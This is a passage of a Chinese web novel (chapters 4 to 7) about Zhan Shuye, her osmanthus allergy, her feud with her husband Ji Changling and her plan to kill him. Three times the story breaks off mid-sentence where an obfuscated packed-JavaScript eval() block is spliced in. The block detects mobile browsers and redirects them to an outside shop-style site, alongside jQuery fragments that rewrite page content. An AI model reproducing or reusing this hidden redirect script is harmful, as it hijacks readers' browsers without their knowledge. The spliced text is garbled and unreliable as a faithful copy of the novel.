詹殊夜瞅着那双革靴,只觉得心头涌上一股闷气,让她喘不了气,直想把蓟长凌的两脚砍下来。 她从蓟长凌手中夺过画卷,愤愤转开脸,再也不想瞧他一眼。 将画卷打开,还未看清画上的内容,就有一抹淡雅的清香扑面而来。 味道很好闻,还有点熟悉,但詹殊夜被蓟长凌气得情绪不稳,一时没反应过来那是什么味道,还在心中骂蓟长凌附庸风雅呢,下一瞬,就觉得鼻尖发痒,两眼发酸—— 4. 摩挲 詹家只有詹殊夜与祖母两人闻不了桂花味,祖母去世的早,于是在詹殊夜的记忆里,每年的秋季,总有那么一两个月,其余人都能正常出府,只有她一人必须闷在府里,哪儿都不能去,连玩伴都不能见。 有一年秋日,父母带着兄长外出赴宴,她一个人无趣,想溜出府玩耍,被侍女逮着告去了祖父那里。 祖父与她讲其中缘由,她听不懂,一定要出去玩耍,詹家祖父看她不见棺材不知道掉眼泪,干脆带她出府去了。 那时候的桂花味道已经没那么浓烈了,但对詹殊夜来说还是十分可怖,刚出府,她就喷嚏不断,半个时辰后,脸上、手上起了许多细小密集红疹,就连头皮都是痒的。 她使劲挠,把脸蛋抓出红痕,头上漂亮的发髻也扯得乱七八糟。 那时候的詹殊夜只知道难受,并没有意识到自己的模样有多狼狈,直到与老国公爷狭路相逢。 “詹太傅什么时候养了猴?” 詹殊夜被祖父抱着,软发细碎凌乱,乱蓬蓬的,又扭着身子抓来挠去,确实像一只趴在人肩上的猴子。 她没听懂人家是在嘲笑她,还好奇是谁在说话,抓着脖子扭脸来看。 老国公看见了她,大吃一惊,继而连退三步,嘴上淬了毒似的说:“你这猴子是疯了还是长了虱子?离远点,可别跳我身上来了!” “挠他!”詹家祖父不知怎么想的,抱着詹殊夜往老国公的身上凑。 小詹殊夜很听祖父的话,“阿嚏”一声,打完喷嚏,抹了下鼻尖,张牙舞爪地朝老国公脸上挠去,从他下巴薅掉了一撮胡须。 打那之后,老国公每次瞧见詹殊夜,都管她叫“詹家小疯猴”。詹殊夜也因为这个诨名记住了自己因为桂花长了满脸疹子有多难受、有多丑,再也没在秋日闹着要出门了。 味道是无法避免的,只要有缝隙,就能渗进来,这么多年来,尽管詹殊夜尽力躲避了,还是会时不时仍会闻到。 此时坐在松风亭中的詹殊夜眼鼻发酸,张开嘴巴想打喷嚏又打不出来,酝酿了会儿,硬是在眼角憋出了星点泪花。 她终于记起萦绕鼻尖的是什么味道了。 天杀的蓟长凌,竟然在画卷里藏了桂花! 詹殊夜猝然站起,一把将手中图纸掷开,又退后两步躲避。 隔着垂纱,亭里亭外的人都看不清她的表情,但沉香阁的侍女一看她这如避蛇蝎的模样,就知道是那卷图纸上沾有桂花味道。 众侍女连忙上前,几人去扶詹殊夜,一人捡起地上画卷要扔出去。 “詹殊夜。”就在侍女要将画扔入水中时,蓟长凌的声音响起,冷冷清清,仿若警告,“胡闹也要有个限度。” 被侍女围着的詹殊夜猛然抬头,隔着垂纱望见蓟长凌那张寒冰脸,再一想他是如何看待自己的,气得一口银牙差点咬碎! 这时雨晴站出来道:“我家小姐她……” “拿来!”詹殊夜气恼地打断她。 “小姐……” “拿来!”詹殊夜又重复了一遍。 那幅画卷尤若烫手山芋,捡起它的侍女看看詹殊夜,又看看蓟长凌,最终为难地听从了自家小姐的命令。 詹殊夜挥退侍女,两手持着画卷两端打开,隔着幂篱上的垂纱看向那幅画。 画上是不同种类的腰牌,正反面皆有,画工精湛,细致入微。 詹殊夜不肯在蓟长凌面前露怯,半是屏息,半是强忍着不适,蹙着眉头快速将上面的腰牌扫了一遍,然后将画合起扔到石桌上。 “看不出来。”她转向风来的方向,在垂纱下悄悄深吸了几口气,呼吸顺畅些后,不高兴地问,“没有实物吗?” “先不说这些令牌代表着什么……你想打草惊蛇?”蓟长凌直视着詹殊夜,语气像是在笑,声音又很冷,于是詹殊夜认定他是在冷笑嘲讽。 她藏在垂纱后的脸涨得通红,但只恶狠狠瞪了蓟长凌一眼,并没有多说什么。 先前父兄在蕲州遇险,几乎所有人都认定那是叛贼余党所为。 詹殊夜去蕲州寻人时亲眼目睹过那伙贼人矫健的身手与迅捷的行动。就像蓟长凌说的那样,对方训练有素,不是叛贼,而是有人刻意伪装成叛贼来取詹家父子性命的。 对方很谨慎,即便是被诛杀的死人身上都没有留下任何线索。 耗时数月,事情始终没有任何进展,本来已经无法追查下去,直到前不久詹殊夜外出,偶然间碰见官府查案,看见了官兵手中的令牌。 她赶去蕲州寻找父兄时,恰逢那伙刺客被蓟长凌逼得走投无路,贼首为求活命,挟持了她。 保命符只有活着的时候才有用,贼首显然明白这个道理,在蓟长凌答应放他们离开后,贼首并没有要杀詹殊夜的意思。 可只间隔了不到一刻钟的时间,他突然改变了主意,毫无征兆地对詹殊夜动手,意在灭口,被蓟长凌一箭刺穿了手臂,最终跃入湍急的河流,没了踪迹。 因为贼首的转变,蓟长凌笃定詹殊夜发现了什么线索,屡次来找她询问。 詹殊夜根本不知道,被问得不胜其烦,可就在她看见官兵手中令牌之后,忽然记起一件事:她被挟持时,曾无意中在贼首身上摸到过一样东西。 当时她不知道那是什么,现在想来,那东西与官兵手上令牌相似,极有可能是什么腰牌信物。 可惜那时贼首身负重伤,浑身被血水浸透,詹殊夜没能看清,只模糊记得上面纹路的触感。 若当真如此,那么,行凶之人就是与詹家父子一样在朝为官的朝臣了。 事关重大,又过去太久,詹殊夜不确定自己是不是弄错了,不敢乱说,原打算自己悄悄调查的,刚行动,就被蓟长凌察觉了,不得已将线索交给了他。 蓟长凌说的对,贼首当初是误以为她认出了那个腰牌才想杀人灭口,此后数月,蓟长凌没能查出真凶,在真凶眼里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14319984|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就代表着詹殊夜没能抓住那个线索,这会儿若是大张旗鼓地搜寻,等于直白地通知幕后真凶来杀了詹殊夜。 “我碰到的时候,那上面都是血,看不出来是什么模样。”詹殊夜心气不顺,气蓟长凌嘲讽她,也气自己过了这么久才记起这条线索。 靠外表辨别不出来,就只能从长计议了。 蓟长凌扣了扣桌面,引詹殊夜看过来后,道:“线索泄露,最危险的人是谁,你知道的?” 詹殊夜讨厌这种告诫的语气,好像她分不清是非轻重,只会无理取闹一样。 “我从没求过你帮我,若是再遇上危险,请你千万不要理会……”不服输的话说到一半,面前光影忽然暗下,詹殊夜眼帘中映出一双紧束着的革靴,眨眼间,又被绣着流云的暗色衣袍取代。 蓟长凌离她这么近做什么? 詹殊夜下意识抬头,还没看见那张讨厌的脸,就被人抓住了手腕。 蓟长凌的手掌环着她的手腕,她能清楚地感受到他人的灼热体温穿透肌肤,顺着血流似的往她身上蔓延,詹殊夜打了个颤,用力挣了一下没能挣开,怒道:“你做什么!” 蓟长凌在她面前弯下腰,闻言似乎看了她一眼。 那一眼被垂纱隔着,有些模糊,詹殊夜看不出那是什么意思,但她能感受到,蓟长凌的拇指覆上了她的手背,在那上面细细摩挲,有几分话本子里所说的把玩与暧昧的意思。 他拇指动着,掌心的薄茧也一下下摩擦在詹殊夜手腕内侧,酥酥痒痒的,像有一群蚂蚁来回地爬动。 詹殊夜又挣了一下,还是没能挣开。 “你、你敢对我无礼……” 她因为愤怒呼吸转急,咬着下唇扬起另一只手,狠狠朝着蓟长凌脸上扇去。 扬起的手未及落下,同样被人抓住。 “小姐!”亭中突来的变故惊动了亭外的侍女,侍女惊呼一声就要涌来,被蓟长凌身边的侍卫横剑拦住。 詹殊夜反抗不了,又看见亭外侍卫对她的人亮出兵器,一时间惊怒交加,喊道:“蓟长凌,你敢对我无礼,我要杀了你!” 最后一声几乎用尽她所有力气,可蓟长凌只是转脸看了她一眼,抬手让侍卫退下,而后抓着她手腕抬到她面前,施力晃了晃,问:“手怎么了?” 詹殊夜正在气头上,除了手腕上的轻薄抚摸与热度,什么都感知不到,她只能看出蓟长凌对她的威胁不以为意,就好像她是一只试图撼动大树的蚂蚁。 “我真的。”她一个字一个字地强调,“我真的杀了你!” 蓟长凌才听懂一般,目光扫过她覆面的垂纱,又落回到那只生出斑驳红疹的手,轻飘飘道:“你杀不了。” 这四个字传到詹殊夜耳中,如同一桶桐油浇到烈火之上,高高窜起的火焰灼烧着她的心肺,让她几乎窒息在原地。 她牙关打颤,说不出话,只是直直瞪着蓟长凌,恨不能用眼神将他碎尸万段! 5. 送人 早在宫中内侍操持两人婚事时,詹殊夜就与蓟长凌说过,成亲是迫于皇命,以后是要与他和离再嫁的。 詹殊夜的祖父曾官至一品,教导过几位皇子,深得先帝信任,更曾鞠躬尽瘁辅佐过当今圣上。詹尚书不及先人,但这个位置已经是许多人终其一生难以企及的了,更何况詹殊夜还有一个出类拔萃的兄长。 不必说她嫁过人,就是她生过八个孩子,想迎娶她的人也能绕京城一圈。 她与蓟长凌没有夫妻之实,只是因为讨厌他。 不论是考虑到两家的关系,还是出于本心,蓟长凌都不至于强迫她,他突然动手,是因为看见詹殊夜手背上不知何时冒出的密集红疹。 他很确定詹殊夜刚到亭下的时候,手背上是没有这些东西的。 他在上面抚摸了几下,惹怒了詹殊夜。 “手怎么了?”蓟长凌又问了一遍。 詹殊夜不理会,面容也被垂纱遮住看不清,恰好这时有一阵风从湖面吹来,轻盈地将她的覆面垂纱掀起一角,蓟长凌抓着詹殊夜的手挡了过去,将她的面纱掀起大半。 这下他看清詹殊夜的表情了。 她满面通红,以往清亮璀璨的眼眸湿漉漉的,里面盛满了屈辱与怒意,宛若遭受了不堪的对待。 蓟长凌与她对视了片刻,问:“哭了?” 詹殊夜红润的唇张了张,又合上,眸中水光却没能控制住,迅速聚集,在长睫下盈盈欲坠。 不知是不是错觉,蓟长凌觉得她脸上的红晕更重了,红得不自然,咬唇的动作也像在极力克制什么。 不舒服? 还是想骂他? 蓟长凌皱着眉,离得更近,詹殊夜像是不想看见他,愤恨闭上眼,两行清泪没能藏住,从眼角溢了出来。 几个月前,詹殊夜被困于贼首的利刃之下,满身污血,命在旦夕,都没有在他面前掉眼泪。 “我没有强迫别人的喜好。” 蓟长凌平静说罢,就要松开詹殊夜的双手,目光一转,看见她手背上的红疹较之前更加密集,尤其是被他手掌抓握过的地方,细小红疹遍布。 他心中生出模糊的猜测,还没确定,余光瞥见詹殊夜张开了嘴巴—— “啊——阿嚏!” 一个响亮的喷嚏打在蓟长凌面前。 詹殊夜的手还抓在蓟长凌手中,两人离得很近。 忍了好久的喷嚏终于打了出来,随着打喷嚏的动作,她脑袋往前磕去,幂篱边缘擦过蓟长凌的下巴,从她头上滑落。 蓟长凌看着胸前的脑袋,怔了一下。 而詹殊夜打完一个喷嚏后,抬起脸狠狠剜了蓟长凌一眼,第二次张开嘴巴:“蓟长凌,你——阿嚏!” 蓟长凌:“……” 他松开詹殊夜的手,敏捷地退后躲过第三个喷嚏,朝亭外挥了挥手。 外面的侍卫得令收剑,被拦住的侍女们没了阻碍,一拥而入,有的捡起幂篱重新给詹殊夜戴上,有的拿湿帕子给她擦手、拭脸,还有的给她扇风。 匆忙,但分工明确,手脚麻利,像是早就知道这是什么情况,并应对过许多次。 等詹殊夜的情况稍有缓解,侍女们七嘴八舌地劝她回沉香阁里面去。 詹殊夜没拒绝,被护着走下石阶时,掀开垂纱回看了一眼,吸了吸鼻子,道:“蓟长凌,今日的事我绝不会……” 她语气凶狠,眼神恨不得杀人,可惜疾言厉色的话没能说完,就被一个重重的喷嚏代替。 这个喷嚏差点把詹殊夜打懵,她眼神迷茫地揉了揉鼻尖,瞧了瞧清贵立在亭下的蓟长凌,放弃未完的威胁,气恼地转了回去。 . 蓟长凌忙于公务,时常数日不回府,但只要在府中,总要陪老夫人用膳的,这日也不例外。 他去的迟,在厅外就听见了里面的谈笑声,等他踏入,里面的声音微妙地停了一下,随后热情的招呼声又起:“长凌来啦,我还想让人去催你呢,老夫人不让,说你有正事要忙……” 圆桌旁共有四人,其中除了蓟长凌的祖母,尚有一对三十余岁的青年夫妇与一个七八岁的男孩,是前来投靠的表姑母一家。 说是表亲,其实隔了好几代。 老夫人年轻时有个交好的表妹,家道中落嫁去了外地,于二十年前病逝。她有个女儿,名叫赵宜,与商户陈易青成亲后久居庆州,膝下只有一个儿子。 这家人是去年来的,说在庆州得罪了人,被逼得走投无路,只能来求助于老夫人。老夫人年纪大了,念旧,也想找人说话,就让这家人住下了,一住就是近两年。 陈易青敢直呼蓟长凌的名字,却不敢在他面前摆长辈架子,站起来请他入座。 蓟长凌扫了那一家三口一眼,轻轻颔首,面向老夫人,“祖母。” “哎。”老夫人满是皱纹的脸上露出和蔼的笑,看着蓟长凌坐下,让人快上膳食。 祖孙俩几日没见面了,老夫人问了好些事情,都是与公务无关的,蓟长凌简单答了。 “……京城秋季短,说不准什么时候就冷了,明日再量量尺寸,提早把冬衣裁了……” “是呢,去年才闻着桂花香,没多久呢,就下起雪来,这秋日短得跟没来过似的。”赵宜顺着老夫人的话说了几句。 老夫人笑,“一直都这样,哪年秋日长了才奇怪呢。” 见厅中气氛好,陈易青也笑呵呵说道:“天冷的快,是得裁冬衣了……说起来今儿晌午我瞧见有人送狐裘貂绒过来了,还以为是国公爷让人送回来的,走近了才发现是詹家的人。” 老夫人脸上的笑淡了一些,道:“提他做什么。” “我就是说说。”陈易青把“他”当做了“她”,“啧啧”道,“老夫人您不知道,除了御寒绒袍,詹府还送了几车上好的红萝炭……老夫人这边还没备上,她那里倒是什么都有了,詹家这么惯着她,难怪养得那样骄纵。” 老夫人是大户人家出来的,年轻时也曾被人这么说过,她听得不高兴,皱着眉头道:“我虽不喜詹殊夜,但她怎么奢侈用的都是詹府的银子,她爹娘愿意,也没碍着别人,就没人能置喙。” “是,是这个理儿,我就是瞧她不顺。”陈易青利索地认下自己是在故意挑詹殊夜的短儿。 依着国公府与詹家的恶劣关系,他大大方方承认了,反而更讨老夫人的欢心。 陈易青瞧了瞧老夫人的脸色,放了心,又道:“那詹殊夜一不来孝顺祖母,二不知服侍夫君,只会占着少夫人的身份在府中逞威风,还不如尽早休弃了撵回家去,让她詹府好生丢一回脸。” 太后遗愿和皇帝圣旨促成的婚事,以“休弃”结束,还是在太后一年丧期都没满的时候? 这得多没脑子才能做的出来? 老夫人懒得解释,看在陈易青是帮着国公府说话,也没指责,只从鼻子里轻哼了一声。 陈易青又说:“京城里想嫁到国公府的好姑娘多的数不过来,左右是要再娶的,不若先挑着……” “挑谁?”老夫人的脸倏然落了下来,冷眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14319985|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着陈易青,“还是说你已有了人选?” 陈易青脸色僵了一下,讪讪笑着说道:“怎么会,我哪敢插手长凌的婚事……” 说话的时候他飞快往蓟长凌脸上瞟了一眼,看见他神情淡淡,仿佛没听见几人的对话,刚松了一口气,那双眼睛陡然转了过来,漆黑深邃,藏着瘆人的深意,仿佛看穿了他心底所想,吓得他惊慌转开眼。 陈易青害怕蓟长凌。 他说在庆州得罪了人是假的,其实的他染上赌钱的恶习,赔了田地与祖宅,还欠赌坊了几万两银子,还不起,怕被剁手砍脚,这才拖家带口逃到京城,想借越国公府的威名躲债。 老夫人思念故人,没多问他们在庆州的事情,国公爷乐得有人帮他陪在老夫人身边尽孝,也不多管,蓟长凌为人冷淡,不怎么与他们一家人说话,没人知道他说了谎。 讨债的人追至京城,不敢登门,盘桓一个月,只得愤愤离去。 陈易青以为他成功瞒下了庆州的事,本想借着国公府的光改过自新的,可没多久,就被新结识的朋友蛊惑去了赌坊。 手痒难耐,他跟着玩了一把,刚下了赌注,就被人按在赌桌上打断了右手。 他不知道是谁害他,因为这事见不得光,也不敢声张,对国公府的人谎称是个意外,才说完,就看见了那个引诱他去赌坊的“朋友”。 那个朋友换了身装束,跟在蓟长凌身后,手中还拿着那把敲断他右手的长剑。 蓟长凌没扯下他的遮羞布,也没将他撵出府邸,待他如平常一样看不出异样,就连他身后的侍卫都一副不认识陈易青的模样,可越是这样,陈易青越害怕。 因为老夫人那几句话,厅中气氛有些冷,陈易青额头冒了汗,就在这时,另一边传来响动。 是小男孩想吃桌上的糕点,被赵宜低声制止。 陈易青连忙板起脸出声斥责,被老夫人打断:“小孩子贪嘴,想吃就吃吧。不过就要用膳了,要少吃点,当心积食。” 老夫人喜欢孩子,说话的语气有所好转,正好侍婢捧着膳食依次而入,将厅中严峻的氛围打破。 陈易青悄悄擦去额头的冷汗,奉承道:“都是府中厨娘手艺好,这桂花糕做的甜而不腻,甚是可口……” “这是桂花糕?”蓟长凌突然开口,“还有吗?” 老夫人惊奇,“你不是从不吃这些糕点吗?” 蓟长凌简短道:“送人。” 老夫人诧异什么人能让他这样费心,但有外人在,没问,看向侍婢,侍婢回道:“有呢,桂花糕、绿豆糕、板栗糕都有,这阵子桂花开的好,厨屋还做了桂花蜜、桂花糯米酒……” “用不了那么多,装几块……” 说话时,蓟长凌脑中闪过詹殊夜那接连不断的喷嚏、攀爬着斑驳红疹的手,还有他书房外的那株桂花树。 那株桂花树今年开得格外的茂盛,花香笼罩着他的书房,将所有进出的人身上染出淡淡的清香。有风吹来时,偶尔还会送几颗鹅黄花簇到他的桌案上、笔墨里。 微微停顿后,蓟长凌接着说道:“……装几块板栗糕送去沉香阁,就说府中新做了桂花糕,我特意让人送给詹殊夜品尝。” 詹殊夜的名字一出来,厅中几人包括侍女全都愣住。 蓟长凌没什么耐心,见侍女不应话,喊道:“陆尹。” “是!”陆尹在厅外应声回答。 这下侍女慌了,手足无措地去看老夫人,老夫人对这个孙儿的作风习以为常,冲侍女摆摆手让人下去了。 6. 安神 詹殊夜回到沉香阁的第一件事就是沐浴,没有那股淡香萦绕在面前了,她很快恢复了体面,等沐浴过后,人也冷静下来了,躺在榻上自我反思。 云霜说的对,蓟长凌是为了调查蕲州的事情才来找她的。 那件事唯一的线索就是她不经意碰到的腰牌,那是官员身份的代表,可以差遣将士、支配下级官员,三司六部乃至下属衙门均有各自的信物,就是她爹也不能随意调配,蓟长凌定然无法在不惊动任何人的情况下把东西拿给她。 拿不到实物,就无法通过触感辨认,任蓟长凌做了什么调查,都是无用的。 她早该想到这茬的。 提早想到的话,还看什么画,干脆地让侍女把画扔水里就行了,省得后来弄成那么个狼狈样。 又在蓟长凌面前丢脸了! 云霜了解过事情的始末,端着参汤进来,正好看见詹殊夜懊悔捶床。 杀人的念头刚打消没几天又闹出新矛盾,她怕詹殊夜再起杀心,想劝,又不敢轻易提起那个话题。 斟酌了会儿,云霜放下参汤,问:“小姐,蓟长凌可查出了什么新的线索?” 詹殊夜回道:“他查出个鬼!” “就是!什么进展都没有,还害得小姐出丑,我瞧着他今日就是故意来捉弄小姐的!”隔纱那边整理衣橱的雨晴插了一句。 云霜甩过去个眼神让她闭嘴,温声与詹殊夜道:“小姐你这毛病没往外说过,蓟长凌怎么会知道?依我看,今日的事就是个巧合,这时节外面到处都是桂花呢……” 雨晴最是了解詹殊夜的心情,替她道:“桂花的事情姑且能说是意外,那他对小姐动手是怎么回事?我看得清清楚楚,分明就是他见小姐貌美动了龌龊的心思!” 幂篱遮住了脸,蓟长凌是怎么看见詹殊夜的美貌的? 云霜摇摇头,道:“他或许是在看小姐手上的疹子。” “你的意思是他在关心小姐?”雨晴从隔纱后绕过来,问,“小姐,蓟长凌关心你呢,你感动吗?” 詹殊夜的回复简短有力:她抄起枕边的话本子朝雨晴扔了过去。 雨晴接住,嬉笑道:“云霜姐姐,你看小姐这是害羞还是生气呢?我愚钝,瞧不出来。” 云霜道:“你出去!” 撵走了搅浑水的,云霜在床边坐下,轻声细语问:“小姐,你不会真信了雨晴的胡话吧?” 这两个都是詹殊夜身边的一等侍女,一个爱玩闹,最懂詹殊夜的心思,经常帮她说一些她不好直说的话,一个稳重理智,常常规劝詹殊夜、在外人面前打圆场。 詹殊夜喜欢雨晴,但遇上正经事不会随她,她就是当时气晕了脑袋,回来后反复回忆松风亭下的事情,隐约明白是怎么回事了。 但蓟长凌绝不可能是在关心她,他最多是奇怪她手上的红疹是怎么来的。 现在他应该知道了。 詹殊夜答非所问:“蓟长凌知道我害怕桂花味道,以后他们府上的人想害我就简单多了。” 云霜一听这话心就提了起来,“不会的,咱们住进来这么久,蓟长凌从未……” “只要悄悄在我的茶水和膳食里撒些桂花碎,我就是不死也会丢掉半条命。”詹殊夜根本没听云霜说什么,用最大的恶意去揣测越国公府的人,“届时哪怕爹娘追究起来,他们只要说不知道就好,大不了推出一个丫头小厮顶罪……” 见詹殊夜说得认真,云霜急忙拦住:“蓟长凌不会这么做的。” “他也许不会,但有人会。” 云霜愣了下,“谁?” 詹殊夜手上的红疹已经消退,白嫩的手指抚摸着被褥上的牡丹绣纹,好一会儿没说话。 这关乎着她心底的秘密。 “小姐?” 云霜倾着身子想继续追问,外面忽然传来窸窣杂声,像是有人在相互推诿。她暂时放下与詹殊夜的谈话,扬声问:“谁在外面吵闹?” 很快,一个侍女磨磨蹭蹭走进来,站得远远的,小声道:“蓟公子让人送了东西给小姐……” 专注想事情的詹殊夜眼皮一跳,坐起来,面色不善地盯着侍女,问:“什么东西?” 侍女支支吾吾说了几个字,詹殊夜没听清。 “大点声!” “是、是一盒……”侍女瞅了瞅詹殊夜的表情,低下头,飞快道,“蓟长凌送了一盒桂花糕给小姐品尝!” 听见这话,最为震撼的人是云霜。 她才帮蓟长凌说了好话,蓟长凌就给詹殊夜送来可以毒害她的桂花糕? “这、这……”云霜“这”了半天,没“这”出完整的话。 詹殊夜气得直喘气,一手扶着床头,另一手抚着胸口,咬牙问:“东西呢?” 侍女小心翼翼道:“在外面。” “碾碎了放狗盆里还给他!” 沉香阁里没养狗,也没有狗盆,侍女求助地看云霜,云霜在心底长叹一声,知道自己现在说什么詹殊夜都听不进去,对侍女摆摆手,与她一起出去了。 云霜一直觉得詹家与国公府的恩怨并非不可化解,只是没人愿意率先低头,于是两边默契地保持着互不搭理的状态。 詹殊夜没必要激化矛盾,蓟长凌也没道理毒害詹殊夜。 他若是想,大可像詹殊夜说的那样,悄悄把桂花碎掺进詹殊夜的膳食里,神不知鬼不觉。 光明正大送了桂花糕过来,怎么看,都像是在明摆着告诉詹殊夜,他知道了她的致命短处。 这是威胁? 云霜想不明白蓟长凌的用意,亲自去查看了那盒桂花糕。 “……这是桂花糕?” “送东西过来的侍卫说是桂花糕。”侍女也很疑惑,“难道是他拿错了?” 讨厌越国公府如雨晴也直呼不可能,“那侍卫跟着蓟长凌许久了,怎么会犯这样简单的错误?会不会是他们偷偷在糕点里面掺了桂花?” 几个侍女聚在一起,叽叽喳喳说了会儿,雨晴胆子大,掰下一块糕点吃进了嘴里,在众多侍女的注视中咽下后,咂咂嘴道:“我吃着没有桂花味,就是板栗糕。” “咦?” 云霜也茫然了,犹豫了下,做主把糕点分了。 等糕点全部下肚,所有侍女共同得出了结论——蓟长凌让人送来的就是板栗糕! “他干嘛要骗小姐那是桂花糕?” “想让小姐生气?” “或者他想说他知道了小姐的弱点,想让咱们小姐识相点,以后对他客气些?” “炫耀他脑袋灵活,轻而易举就发现了咱们想隐藏的事?” 侍女们各有各的猜测,吵得人脑子里嗡嗡响。 云霜将人打发去做事,再回到寝屋,正好碰见从里面出来的侍女,说詹殊夜心烦,不让人陪。 云霜想把板栗糕的事与詹殊夜说说的,转念一想,她听了准得又生气。为了一件事生两回气?犯不着。 她歇了把刚才发现的事情告知给詹殊夜的念头,进屋后在香炉里添了些安神香,又检查了下灯罩里只剩一截的蜡烛,轻手轻脚出去了。 詹府送来的安神香功效斐然,詹殊夜满腹怒火地躺在榻上,嗅着那淡淡的熏香,不多久就睡着了。 只是睡得不安稳,眉头时松时紧,最终在深夜时分张开了眼。 夜深人静,沉香阁内外没有一点声音。 詹殊夜在黑暗中发了会儿呆,掀开床幔往窗口望去。 这天晚上的月光很亮,银纱似的,透过碧纱窗在屋中投下模糊的光线,让詹殊夜记起那个让她永生难忘的夜晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14319986|152404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蓟长凌奉命前去蕲州平定叛贼、寻找她父兄时,两人已经成亲三个月,她独占沉香阁,与越国公府的人互不干涉。 得知这个消息后,詹殊夜是想放下身段祈求蓟长凌一定要将父兄平安带回的,可蓟长凌是无声离京的,没给她这个机会。 后来满城人都说她爹和兄长死了,娘亲受不了打击病倒,詹殊夜惊惶不安,始终得不到确切消息。 蕲州的情况,蓟长凌是最清楚的。 詹殊夜派去蕲州的人找不到他,但她知道,国公府自有传递消息的法子,老夫人一定知道些消息。 眼看娘亲因为忧心,身子越来越虚弱,詹殊夜回到国公府,打算求助于老夫人,只要老夫人能透露一点关于父兄的消息给她,她愿意抛开两家的恩怨,跪地认错。 向老夫人跪地认错,等同于将她的脸递到越国公府的人脚下,任他们践踏,詹殊夜没让任何人跟着,是临睡前一个人悄悄去的。 刚到了老夫人的画春堂,就听见里面阵阵欢笑。 她的手抬起又放下,深呼吸了好几下,做好了被羞辱的准备,再度抬手,听见了里面爽快的声音。 “死了更好,她爹与兄长没了,她娘那病殃殃的模样,估计也活不成几天,等詹家的人死光,看她詹殊夜以后还怎么耍威风!” 詹殊夜叩门的手停住。 “这倒是,詹家没了,咱们府上就能安生了。就怕那詹家父子没救回来,宫里不好交代……” “詹家父子若是死了,那也是叛贼杀的,又不是长凌。再说了,长凌把叛贼捉拿归案,是在为詹家父子报仇,詹殊夜理应跪地谢他,圣上怎会不满?” “那父子俩真死了?” “他们的死活还不是长凌一句话?要我说,根本犯不着费那工夫找人,随便去乱葬岗拉两具被野狗啃过的尸骨回来得了,反正长凌说那是詹家父子,没人敢说不是。詹殊夜若是不认,那就让她自己去蕲州找……” 詹殊夜收回颤抖的手,离开前听见的最后一句是:“……好好的少夫人她不肯做,等詹家没了,还会有人护着她?等着做洗脚贱婢吧!” 詹殊夜一宿没睡,天亮后回到詹府,安顿好重病的詹夫人,带着府中大半护卫,披星戴月去了蕲州。 她知道许多人认为若不是她去蕲州添乱,贼人必定已经被蓟长凌捉拿归案,也知道有人在背后说她骄纵任性,只会胡闹。 没关系,只要能让父兄平安,哪怕重新来过,她还是会做同样的选择。 万幸,父兄平安归来了,万幸,她没开口哀求老夫人。 詹殊夜望着屋中落下的光影,静静看了片刻,放下床幔,闭上眼思考怎么对蓟长凌下手。 还是要杀了蓟长凌的。 这是她噩梦缠身数月做下的决定。 云霜的劝说有道理,那日在画春堂幸灾乐祸的人也不是蓟长凌,要怪就怪他府中的人对詹家有那么大的恶意,要怪就怪他是越国公府唯一的继承人。 他死了,越国公府就没有支撑了,树倒猢狲散,一了百了。 至于蓟长凌本人…… 每次与他见面,詹殊夜都是一肚子气,可坦白说,蓟长凌并没有对她做过分的事情,当初在蕲州,也是他救下了她…… 她想蓟长凌死,蓟长凌知道了会怎么想? “蓟长凌、蓟长凌……” 詹殊夜在昏暗的床幔中轻声念着这个让她思绪纷杂的名字,想着两人少时是如何相识的,想着他与兄长的纠缠,想着成亲那晚他在喜烛下的眉眼…… 之前种种在脑中纷乱闪过,让詹殊夜的情绪起了波澜。 良久,她长出一口气,双手交叠于腰腹,放空了大脑。 蓟长凌…… 他果然还是死了更好! 7.谋划 杀人不外乎两种方式:明杀、暗杀,两种的共同点在于都需要人手。 明杀,师出无名。 暗杀,詹殊夜的侍卫不多,万一杀不了蓟长凌,侍卫活不成,她也会被逼供出来,整个詹家都将为她的行为背负上罪名,在越国公府的人面前,将再无法抬头。 下毒?可行,但去哪儿弄毒药?且这法子不管成与不成,帮她弄毒药的人和她身边的侍女都一定会死。 詹殊夜只想蓟长凌一个人去死,不想连累他人。 不连累他人,便只能瞒着所有人自己动手了。 詹殊夜没杀过人,连刀都没碰过。蓟长凌不一样,他蜂腰削背,四肢修长,强健有力,杀过的人不知道有多少。 詹殊夜没亲眼见过他杀人,但曾经与他有过一次近距离接触,是在蕲州的时候,蓟长凌将她从贼首手中夺回,单臂箍腰,一眨眼就将她提到马车里,跟拎小鸡崽子似的。 力量悬殊很大! 怎么办? 詹殊夜思虑重重,几天没睡好,这日睁眼,懒散洗漱后用了些早膳,依着窗边小榻继续谋划这事。 